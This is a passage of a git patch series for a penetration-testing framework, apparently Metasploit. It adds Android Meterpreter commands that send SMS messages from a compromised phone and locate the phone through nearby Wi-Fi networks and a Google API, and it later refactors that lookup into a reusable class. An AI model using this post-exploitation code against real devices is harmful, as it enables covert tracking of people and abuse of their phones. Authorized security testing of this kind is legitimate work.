From ad86a729187118f2733a23d64d233639ee9ecc7a Mon Sep 17 00:00:00 2001 From: Jack64 Date: Mon, 20 Jul 2015 01:16:58 +0100 Subject: [PATCH 01/16] send_sms + wlan_geolocate --- .../meterpreter/extensions/android/android.rb | 38 +++++- .../meterpreter/extensions/android/tlv.rb | 7 ++ .../ui/console/command_dispatcher/android.rb | 109 +++++++++++++++++- 3 files changed, 150 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index e36a27eb31..77d9901efd 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -119,6 +119,40 @@ class Android < Extension response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end + + def send_sms(dest,body) + request = Packet.create_request('send_sms') + request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) + request.add_tlv(TLV_TYPE_SMS_BODY,body) + response = client.send_request(request) + resp=response.get_tlv(TLV_TYPE_SMS_SENT).value + return resp + end + + def wlan_geolocate + request = Packet.create_request('wlan_geolocate') + response = client.send_request(request,60) + networks=[] + response.each( TLV_TYPE_WLAN_GROUP ) { |p| + + networks << + { + 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), + 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), + 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) + } + + } + return networks +# response.get_tlv(TLV_TYPE_WLAN_STRING).value +# response.each( TLV_TYPE_CONTACT_GROUP ) { |p| +# wifi << { +# 'string' => p.get_tlv(TLV_TYPE_WLAN_STRING).value +# } +# } +# return wifi +# response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value + end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 879afbe944..37232b9bbf 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -33,6 +33,13 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SMS_SENT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9021) + +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a31638bc61..a71addd84a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -26,7 +26,9 @@ class Console::CommandDispatcher::Android 'geolocate' => 'Get current lat-long using geolocation', 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', - 'device_shutdown' => 'Shutdown device' + 'device_shutdown' => 'Shutdown device', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information', } reqs = { @@ -35,7 +37,9 @@ class Console::CommandDispatcher::Android 'geolocate' => [ 'geolocate' ], 'dump_calllog' => [ 'dump_calllog' ], 'check_root' => [ 'check_root' ], - 'device_shutdown' => [ 'device_shutdown'] + 'device_shutdown' => [ 'device_shutdown'], + 'send_sms' => [ 'send_sms' ], + 'wlan_geolocate' => [ 'wlan_geolocate' ] } # Ensure any requirements of the command are met @@ -343,6 +347,7 @@ class Console::CommandDispatcher::Android end + def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( @@ -368,6 +373,106 @@ class Console::CommandDispatcher::Android end end + def cmd_send_sms(*args) + send_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Destination number' ], + '-t' => [ true, 'SMS body text' ] + ) + dest='' + body='' + send_sms_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: send_sms -d -t ') + print_line('Sends SMS messages to specified number.') + print_line(send_sms_opts.usage) + return + when '-d' + dest=val + when '-t' + body=val + end + } + if (dest.blank? or body.blank?) + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + sent=client.android.send_sms(dest,body) + if (sent) + print_good('SMS sent') + else + print_status('SMS failed to send') + end + end + + def cmd_wlan_geolocate(*args) + + wlan_geolocate_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + wlan_geolocate_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: wlan_geolocate') + print_line('Tries to get device geolocation from WLAN information and Google\'s API') + print_line(wlan_geolocate_opts.usage) + return + end + } + + log = client.android.wlan_geolocate + wlan_list='' + log.each{|x| + mac=x['bssid'] + ssid=x['ssid'] + ss=x['level'] + network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" + wlan_list << network_data +# print_status(x['ssid']+" ("+x['bssid']+") pwr: "+x['level'].to_s()) + } + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + + # Build and send the request to Google + url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" + uri = URI.parse(URI.encode(url)) + request = Net::HTTP::Get.new(uri.request_uri) + http = Net::HTTP::new(uri.host,uri.port) + http.use_ssl = true + response = http.request(request) + + # Gather the required information from the response + if response && response.code == '200' + results = JSON.parse(response.body) + latitude = results["location"]["lat"] + longitude = results["location"]["lng"] + accuracy = results["accuracy"] + print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") + print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + else + print_error("Failure connecting to Google for location lookup.") + end + +# print_status(log) +# log.each{|x| +# print_line(x) +# } + #if is_rooted + # print_good('Device is rooted') + #elsif + # print_status('Device is not rooted') + #end + end + + + # # Name for this dispatcher # From 97f4ec72f996019377d774dcee375770dd4c4160 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Mon, 20 Jul 2015 01:20:36 +0100 Subject: [PATCH 02/16] minor fixes --- .../post/meterpreter/extensions/android/android.rb | 8 -------- .../ui/console/command_dispatcher/android.rb | 14 ++------------ 2 files changed, 2 insertions(+), 20 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 77d9901efd..ad565c172f 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -144,14 +144,6 @@ class Android < Extension } return networks -# response.get_tlv(TLV_TYPE_WLAN_STRING).value -# response.each( TLV_TYPE_CONTACT_GROUP ) { |p| -# wifi << { -# 'string' => p.get_tlv(TLV_TYPE_WLAN_STRING).value -# } -# } -# return wifi -# response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a71addd84a..647199040e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -422,8 +422,8 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - } - + + print_status('Waiting for WiFi scan results...') log = client.android.wlan_geolocate wlan_list='' log.each{|x| @@ -432,7 +432,6 @@ class Console::CommandDispatcher::Android ss=x['level'] network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" wlan_list << network_data -# print_status(x['ssid']+" ("+x['bssid']+") pwr: "+x['level'].to_s()) } if wlan_list.blank? @@ -460,15 +459,6 @@ class Console::CommandDispatcher::Android print_error("Failure connecting to Google for location lookup.") end -# print_status(log) -# log.each{|x| -# print_line(x) -# } - #if is_rooted - # print_good('Device is rooted') - #elsif - # print_status('Device is not rooted') - #end end From 0771d5ec3940a31acc0ec7e4fe9181d4f3350db1 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Mon, 20 Jul 2015 01:22:45 +0100 Subject: [PATCH 03/16] minor fixes --- lib/rex/post/meterpreter/extensions/android/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index ad565c172f..97a9614388 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -131,7 +131,7 @@ class Android < Extension def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,60) + response = client.send_request(request,45) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| From 85e806dc9934d8b6fe7f3da175d2e5ec0c26a2ba Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 20 Jul 2015 19:28:19 -0500 Subject: [PATCH 04/16] Add simple class for getting geo data from Google --- lib/rex/google_geolocation.rb | 83 +++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100755 lib/rex/google_geolocation.rb diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb new file mode 100755 index 0000000000..a7551cb944 --- /dev/null +++ b/lib/rex/google_geolocation.rb @@ -0,0 +1,83 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + # @example + # g = GoogleGeolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class GoogleGeolocation + + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(GOOGLE_API_URI) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.join("&") + + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP::new(@uri.host,@uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + raise "Failure connecting to Google for location lookup." + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}") + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + + end +end + +if $0 == __FILE__ + if ARGV.empty? + $stderr.puts("Usage: #{$0} [mac] ...") + $stderr.puts("Ask Google for the location of the given set of BSSIDs") + $stderr.puts + $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$0}") + exit(1) + end + g = Rex::GoogleGeolocation.new + ARGV.each do |mac| + g.add_wlan(mac, nil, -83) + end + g.fetch! + puts g, g.google_maps_url +end From d6e12d431f4b9a712bbff754e8d344e832c3ca9c Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 20 Jul 2015 19:40:25 -0500 Subject: [PATCH 05/16] Style and whitespace --- modules/post/multi/gather/wlan_geolocate.rb | 46 ++++++++++----------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index a2e18e5018..ecb302a952 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -43,14 +43,14 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("\r\n\r\n") - raw_networks.each { |network| + raw_networks.each do |network| details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) - if !details.nil? - strength = get_strength(details[3]) - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" - wlan_list << network_data - end - } + if !details.nil? + strength = get_strength(details[3]) + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -60,13 +60,13 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("Cell ") - raw_networks.each { |network| + raw_networks.each do |network| details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) - if !details.nil? - network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" - wlan_list << network_data - end - } + if !details.nil? + network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -75,14 +75,14 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("\n") - raw_networks.each { |network| + raw_networks.each do |network| network = network.strip details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) - if !details.nil? - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" - wlan_list << network_data - end - } + if !details.nil? + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -214,10 +214,10 @@ class Metasploit3 < Msf::Post return nil end - rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end From 52e4f45ecdc9fd723587456b6cc80f978617aece Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 20 Jul 2015 20:24:07 -0500 Subject: [PATCH 06/16] Use the new thing in wlan_geolocate --- modules/post/multi/gather/wlan_geolocate.rb | 44 ++++++++------------- 1 file changed, 17 insertions(+), 27 deletions(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index ecb302a952..1c9d7d2f84 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -5,8 +5,7 @@ require 'msf/core' require 'rex' -require 'json' -require 'net/http' +require 'rex/google_geolocation' class Metasploit3 < Msf::Post @@ -40,15 +39,14 @@ class Metasploit3 < Msf::Post end def parse_wireless_win(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("\r\n\r\n") raw_networks.each do |network| details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) if !details.nil? strength = get_strength(details[3]) - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" - wlan_list << network_data + wlan_list << [ details[2], details[1], strength ] end end @@ -57,14 +55,13 @@ class Metasploit3 < Msf::Post def parse_wireless_linux(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("Cell ") raw_networks.each do |network| details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) if !details.nil? - network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" - wlan_list << network_data + wlan_list << [ details[1], details[3], details[2] ] end end @@ -72,15 +69,14 @@ class Metasploit3 < Msf::Post end def parse_wireless_osx(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("\n") raw_networks.each do |network| network = network.strip details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) if !details.nil? - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" - wlan_list << network_data + wlan_list << [ details[2], details[1], details[3] ] end end @@ -93,25 +89,19 @@ class Metasploit3 < Msf::Post print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end + g = Rex::GoogleGeolocation.new - # Build and send the request to Google - url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" - uri = URI.parse(URI.encode(url)) - request = Net::HTTP::Get.new(uri.request_uri) - http = Net::HTTP::new(uri.host,uri.port) - http.use_ssl = true - response = http.request(request) + wlan_list.each do |wlan| + g.add_wlan(*wlan) + end - # Gather the required information from the response - if response && response.code == '200' - results = JSON.parse(response.body) - latitude = results["location"]["lat"] - longitude = results["location"]["lng"] - accuracy = results["accuracy"] - print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") - print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") else - print_error("Failure connecting to Google for location lookup.") + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") end end From 31dcae6828cffafbe03b222b0b0ab6704fe71125 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Thu, 23 Jul 2015 16:58:55 +0100 Subject: [PATCH 07/16] bug fixes --- lib/rex/google_geolocation.rb | 7 +- .../meterpreter/extensions/android/android.rb | 22 ++++-- .../meterpreter/extensions/android/tlv.rb | 12 ++-- .../ui/console/command_dispatcher/android.rb | 69 +++++++++++-------- 4 files changed, 66 insertions(+), 44 deletions(-) diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index a7551cb944..03284060d1 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -18,15 +18,14 @@ module Rex attr_accessor :longitude def initialize - @uri = URI.parse(GOOGLE_API_URI) + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) @wlan_list = [] end # Ask Google's Maps API for the location of a given set of BSSIDs (MAC # addresses of access points), ESSIDs (AP names), and signal strengths. def fetch! - @uri.query << @wlan_list.join("&") - + @uri.query << @wlan_list.join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) http = Net::HTTP::new(@uri.host,@uri.port) http.use_ssl = true @@ -52,7 +51,7 @@ module Rex # @param ssid [String] ESSID associated with the mac # @param signal_strength [String] a thing like def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}") + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) end def google_maps_url diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 97a9614388..12e43e0276 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request) + response = client.send_request(request,60) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -120,18 +120,26 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end - def send_sms(dest,body) + def send_sms(dest,body,dr) request = Packet.create_request('send_sms') request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest) request.add_tlv(TLV_TYPE_SMS_BODY,body) - response = client.send_request(request) - resp=response.get_tlv(TLV_TYPE_SMS_SENT).value - return resp + request.add_tlv(TLV_TYPE_SMS_DR,dr) + if dr == false + response=client.send_request(request) + sr=response.get_tlv(TLV_TYPE_SMS_SR).value + return sr + else + response=client.send_request(request,30) + sr=response.get_tlv(TLV_TYPE_SMS_SR).value + dr=response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr,dr] + end end def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,45) + response = client.send_request(request,60) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 37232b9bbf..b95b2119ac 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -33,12 +33,14 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) -TLV_TYPE_SMS_SENT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9021) +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) -TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) -TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) -TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) -TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 647199040e..8a40c0ef04 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' +require 'rex/google_geolocation' module Rex module Post @@ -377,10 +378,12 @@ class Console::CommandDispatcher::Android send_sms_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-d' => [ true, 'Destination number' ], - '-t' => [ true, 'SMS body text' ] + '-t' => [ true, 'SMS body text' ], + '-dr' => [ false, 'Wait for delivery report' ] ) dest='' body='' + dr=false send_sms_opts.parse(args) { | opt, idx, val | case opt when '-h' @@ -392,6 +395,8 @@ class Console::CommandDispatcher::Android dest=val when '-t' body=val + when '-dr' + dr=true end } if (dest.blank? or body.blank?) @@ -400,11 +405,25 @@ class Console::CommandDispatcher::Android print_line(send_sms_opts.usage) return end - sent=client.android.send_sms(dest,body) - if (sent) - print_good('SMS sent') + + sent=client.android.send_sms(dest,body,dr) + if (dr) + if (sent[0]=="Transmission successful") + print_good("SMS sent - #{sent[0]}") + else + print_error("SMS send failed - #{sent[0]}") + end + if (sent[1]=="Transmission successful") + print_good("SMS delivered - #{sent[1]}") + else + print_error("SMS delivery failed - #{sent[1]}") + end else - print_status('SMS failed to send') + if (sent=="Transmission successful") + print_good("SMS sent - #{sent}") + else + print_error("SMS send failed - #{sent}") + end end end @@ -422,42 +441,36 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - - print_status('Waiting for WiFi scan results...') + } + log = client.android.wlan_geolocate - wlan_list='' + wlan_list=[] + wlan_str="" log.each{|x| mac=x['bssid'] ssid=x['ssid'] ss=x['level'] - network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}" - wlan_list << network_data + wlan_list << [mac,ssid,ss.to_s] } if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end + g = Rex::GoogleGeolocation.new - # Build and send the request to Google - url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" - uri = URI.parse(URI.encode(url)) - request = Net::HTTP::Get.new(uri.request_uri) - http = Net::HTTP::new(uri.host,uri.port) - http.use_ssl = true - response = http.request(request) - - # Gather the required information from the response - if response && response.code == '200' - results = JSON.parse(response.body) - latitude = results["location"]["lat"] - longitude = results["location"]["lng"] - accuracy = results["accuracy"] - print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") - print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") - else - print_error("Failure connecting to Google for location lookup.") + wlan_list.each do |wlan| + g.add_wlan(*wlan) end + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") + else + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") + end + end From 981d98443f9d5e65f6a3d9d71fb3956112294f99 Mon Sep 17 00:00:00 2001 From: Jack64 Date: Thu, 23 Jul 2015 17:04:12 +0100 Subject: [PATCH 08/16] fix local mods Fixed some local modifications that were unintentionally pushed. --- lib/rex/post/meterpreter/extensions/android/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 12e43e0276..957118fcbf 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -44,7 +44,7 @@ class Android < Extension def dump_sms sms = Array.new request = Packet.create_request('dump_sms') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_SMS_GROUP ) { |p| @@ -64,7 +64,7 @@ class Android < Extension def dump_contacts contacts = Array.new request = Packet.create_request('dump_contacts') - response = client.send_request(request,60) + response = client.send_request(request) response.each( TLV_TYPE_CONTACT_GROUP ) { |p| @@ -139,7 +139,7 @@ class Android < Extension def wlan_geolocate request = Packet.create_request('wlan_geolocate') - response = client.send_request(request,60) + response = client.send_request(request,30) networks=[] response.each( TLV_TYPE_WLAN_GROUP ) { |p| From 3aab9aa74c0c886616a0ea3f3ac9aedd5319bd38 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 14 Aug 2015 17:13:11 -0500 Subject: [PATCH 09/16] move BSSID checker to tools, fixup rubocop warnings, add OS X example --- lib/rex/google_geolocation.rb | 22 ++-------------------- tools/google_geolocate_bssid.rb | 31 +++++++++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 20 deletions(-) create mode 100755 tools/google_geolocate_bssid.rb diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb index 03284060d1..86d1527b65 100755 --- a/lib/rex/google_geolocation.rb +++ b/lib/rex/google_geolocation.rb @@ -10,7 +10,6 @@ module Rex # g.fetch! # puts g, g.google_maps_url class GoogleGeolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" attr_accessor :accuracy @@ -27,7 +26,7 @@ module Rex def fetch! @uri.query << @wlan_list.join("&wifi=") request = Net::HTTP::Get.new(@uri.request_uri) - http = Net::HTTP::new(@uri.host,@uri.port) + http = Net::HTTP.new(@uri.host, @uri.port) http.use_ssl = true response = http.request(request) @@ 